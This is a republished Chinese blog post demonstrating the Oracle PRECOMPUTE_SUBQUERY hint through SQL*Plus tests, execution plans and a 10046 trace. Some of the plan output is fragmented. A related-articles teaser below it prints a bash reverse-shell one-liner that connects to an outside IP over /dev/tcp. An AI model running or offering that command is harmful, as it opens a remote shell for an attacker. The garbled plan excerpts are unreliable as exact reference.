[20211213]提示precompute_subquery.txt

[20211213]提示precompute_subquery.txt

–//学习了提示precompute_subquery,提示很明显就是先计算子查询的结果集,直接通过例子说明:

1:环境:
SCOTT@book> @ ver1
PORT_STRING VERSION BANNER
PRECOMPUTE_SUBQUERY QKSFM_TRANSFORMATION PRECOMPUTE_SUBQUERY 2 0 10.2.0.1

2.测试:
SCOTT@book> @sl all
alter session set statistics_level = all;
Session altered.

SCOTT@book> select * from dept where deptno not in (select deptno from emp);
DEPTNO DNAME LOC
SQL_ID 7gt57qty3rnw4, child number 0
| Id | Operation | Name | Starts | E-Rows |E-Bytes| Cost (%CPU)| E-Time | A-Rows | A-Time | Buffers | Reads | OMem | 1Mem | Used-Mem |
Query Block Name / Object Alias (identified by operation id):
1 – access(“DEPTNO”=”DEPTNO”)

3.使用提示PRECOMPUTE_SUBQUERY:
SCOTT@book> select * from dept where deptno not in (select /+ PRECOMPUTE_SUBQUERY / deptno from emp);
DEPTNO DNAME LOC
SQL_ID b58wqt9dq1sqq, child number 0
| Id | Operation | Name | Starts | E-Rows |E-Bytes| Cost (%CPU)| E-Time | A-Rows | A-Time | Buffers |
Query Block Name / Object Alias (identified by operation id):
1 – filter((“DEPTNO”<>10 AND “DEPTNO”<>20 AND “DEPTNO”<>30))

–//注意看执行计划以及过滤条件实际上分开2步先执行select /+ PRECOMPUTE_SUBQUERY / deptno from emp,然后直接使用值查询第2
–//步。

4.做10046跟踪看看:

SCOTT@book> @ 10046on 12
Session altered.

SCOTT@book> select * from dept where deptno not in (select /+ PRECOMPUTE_SUBQUERY / deptno from emp);
DEPTNO DNAME LOC
20 RESEARCH DALLAS
40 OPERATIONS BOSTON
10 ACCOUNTING NEW YORK
30 SALES CHICAGO

SCOTT@book> @ dpc ” ”
PLAN_TABLE_OUTPUT
select * from dept where deptno in (select /+ PRECOMPUTE_SUBQUERY /
deptno from tx)
Plan hash value: 1476295187
| 0 | SELECT STATEMENT | | 1 | | | 44 (100)| | 4 |00:00:00.01 | 10 | | | |
|* 1 | HASH JOIN SEMI | | 1 | 4 | 100 | 44 (3)| 00:00:01 | 4 |00:00:00.01 | 10 | 1321K| 1321K| 1017K (0)|
| 2 | TABLE ACCESS FULL| DEPT | 1 | 4 | 80 | 3 (0)| 00:00:01 | 4 |00:00:00.01 | 6 | | | |
| 3 | TABLE ACCESS FULL| TX | 1 | 84825 | 414K| 40 (0)| 00:00:01 | 46 |00:00:00.01 | 4 | | | |
1 – SEL$5DA710D3
2 – SEL$5DA710D3 / DEPT@SEL$1
3 – SEL$5DA710D3 / TX@SEL$2
Predicate Information (identified by operation id):

Original: https://www.cnblogs.com/lfree/p/15682592.html
Author: lfree
Title: [20211213]提示precompute_subquery.txt

原创文章受到原创版权保护。转载请注明出处:https://www.johngo689.com/606220/

转载文章受原作者版权保护。转载请注明原作者出处!

(0)

大家都在看

  • 小试牛刀:Linux中部署RabbitMQ

    一、下载地址 本人采用的是 RabbitMQ 3.8.20+ Erlang 23.3.4.16 1、Erlang下载:https://github.com/erlang/otp/r…

    Linux 2023年6月14日
    084
  • Linux 用户密码正确但无法登录和无法su问题故障

    一、 故障 描述 在应用登入操作系统时,用户密码正确但显示Permission denied无法登录,通过管理口控制台用root用户登录,也是同样情况,通过进入单用户查找问题。 一…

    Linux 2023年6月13日
    079
  • 基于libevent的http服务器实现

    基于libevent的http服务器实现 //libevent的http服务器简单实现方式 #include #include #include #include //for st…

    Linux 2023年6月14日
    0103
  • Workshop与会议形式的分类

    在计算机科研工作阅读的过程中,我们经常遇到workshop和conference等关键词,通过这些关键词我们可以一定程度上了解文章的水平,从而方便自己的学习,下面记录了一些我从网络…

    Linux 2023年6月14日
    0171
  • WSL系统安装与使用

    WSL是适用于 Linux 的 Windows 子系统,可让开发人员按原样运行 GNU/Linux 环境 – 包括大多数命令行工具、实用工具和应用程序 – …

    Linux 2023年5月27日
    0132
  • jQuery 遍历

    下图展示了一个家族树。通过 jQuery 遍历,您能够从被选(当前的)元素开始,轻松地在家族树中向上移动(祖先),向下移动(子孙),水平移动(同胞)。这种移动被称为对 DOM 进行…

    Linux 2023年6月13日
    083
  • 每天一个 HTTP 状态码 102

    102 Processing 是用于 WebDAV 请求的一种状态码… 102 Processing 102 Processing 是用于 WebDAV协议 请求的状态…

    Linux 2023年6月7日
    0101
  • shell order

    1,与 “-a” : a是and if [ 条件1 -a 条件2 ] ;then shell order shell order … fi 2,…

    Linux 2023年5月28日
    095
  • url参数+,&,=,/等转义编码【转】

    问题描述 在使用postman发送请求时,url出现了有+,空格,/,?,%,#,&,= 等特殊符号,可能在转义之后导致服务器端无法获得正确的参数值。解决办法 将这些字符转…

    Linux 2023年6月8日
    071
  • 关于NLog在.NET CORE下如何进行日志的持久化及通过邮件发送日志

    配置过程 安装NLog 通过Nuget进行集成(NuGet Gallery | NLog.Web.AspNetCore 4.14.0) 通过命令行安装 Install-Packag…

    Linux 2023年6月14日
    079
  • 反弹shell的各种基础姿势

    Victim: bash -i >& /dev/tcp/175.11.142.54/443 0>&1 Copy /bin/bash -i > /d…

    Linux 2023年5月28日
    086
  • Java基础系列–01_基础类型

    J2SE、J2ME、J2EE分别指什么?J2SE 基础版,桌面应用。J2ME 微型版,手机开发。(android,ios)J2EE 企业版,所有浏览器访问的应用程序。注意:JDK5…

    Linux 2023年6月7日
    087
  • Linux常用系统管理命令详解

    ps ps命令用于查看系统中的进程状态。 命令格式: ps [&#x53C2;&#x6570;] 命令参数说明: 参数 作用 -a 显示现行终端机下的所有程序,包括…

    Linux 2023年5月27日
    0104
  • linux学习之对用户和组群进行管理

    本实验的主要任务是对用户和组群进行管理,使用 su 和 sudo 命令以及管理文件和目录的权限。结合文件权限与用户和组群的设置,理解文件的3 种用户身份及权限对于文件和目录的不同含…

    Linux 2023年6月13日
    076
  • Gitlab 403 forbidden 并发引起IP被封

    问题 在工作中自搭建的Gitlab。但今天打开页面的时候显示的是空白页面,上面还有一次文本Forbidden。 原因 Gitlab使用rack_attack做了并发访问的限制。 解…

    Linux 2023年6月14日
    071
  • Mac下安装zshell

    什么是shell 大多数命令行用户接触最多的是Bash,因为Bash是各个版本操作系统(Linux&Mac)的默认shell。 查看当前使用的shell $ echo $S…

    Linux 2023年5月28日
    076
亲爱的 Coder【最近整理,可免费获取】👉 最新必读书单  | 👏 面试题下载  | 🌎 免费的AI知识星球